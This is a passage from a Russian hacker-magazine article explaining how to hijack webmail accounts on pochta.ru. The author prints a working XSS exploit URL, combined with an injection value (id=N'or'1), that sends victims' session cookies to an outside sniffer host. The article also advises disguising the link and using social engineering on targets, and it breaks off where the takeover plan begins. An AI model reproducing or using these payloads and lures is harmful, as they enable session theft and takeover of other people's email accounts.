Как угнать почтовый ящик

Digimortal, NST (nst.void.ru)

Хакер, номер #093, стр. 093-064-3

После этого я еще несколько раз заходил на сайт Почты.ру с таким значением id в URL. В итоге решил, что не нужно лишний раз палиться, ведь юзеры почты могут отписать админам, и эту багу залатают. А у меня уже возникла идея, как применить ее для решения задачи, которую я изначально ставил перед собой - захвата ящика.

Добываем куки

Итак, мы имеем два уязвимых параметра в скрипте. Сразу приходит на ум идея проэксплуатировать их вместе:

http://www9.pochta.ru/mailbox.php?id=N'or'1&mailb=[здесь скрипт, угоняющий куки]

Отличная идея! Такой ядовитый урл можно кинуть жертве в аську, конечно, надежнее замаскировав его, и куки с почты полетят на твой сниффер, а если быть более точным, прилетят куки всех зашедших на свой ящик пользователей почты. Повозившись немного, я составил следующий xss-сплоит:

http://www9.pochta.ru/mailbox.php?id=N'or'1&mailb=<script>document.location="http://ccl.whiteacid.org/log.php?123456"%2Bdocument.cookie</script>

Здесь, "http://ccl.whiteacid.org/log.php?123456" - адрес сниффера (см. врезку), "%2B" - это знак "+" в url-кодировке (дело в том, что скрипт перед попаданием в тело страницы декодируется из URL-кодировки, и "+" заменяется пробелом). Используемый скрипт далеко не идеален, он открывает сайт почты, а затем переносит на чистую страницу сниффера. Как показала практика, обычно, на это юзеры реагируют нажатием кнопки "обновить" или "назад". Конечно, на загрузку сайта почты, многие отреагируют подозрительно. С подозрением отнесутся и к предложению кликнуть по присланной тобою ссылке, даже по-максимуму замаскированной. И тут мне вспомнилась еще одна вещь, которую я заметил раньше. Фишка в том, что если я вносил javascript-код в тело страницы:

http://www9.pochta.ru/mailbox.php?id=Ndc4c56a9f218620edc2fa5210dca983&mailb=<script>alert('xss')</script>

То при переходе по ссылке

http://www9.pochta.ru/mailbox.php?id=Ndc4c56a9f218620edc2fa5210dca983

он вновь исполнялся. Пока не будет осуществлен выход из ящика, т.е. завершение сессии. Аналогично, запустив вышеописанный сплоит на своем компе, я мог просто переслать ссылку

http://www9.pochta.ru/mailbox.php?id=N'or'1

вместо сплоита! Тут даже продвинутый юзер ни о чем не догадается, а если хоть немного владеть СИ, то и подавно.

Угон ящика

После всего этого я составил план похищения ящика: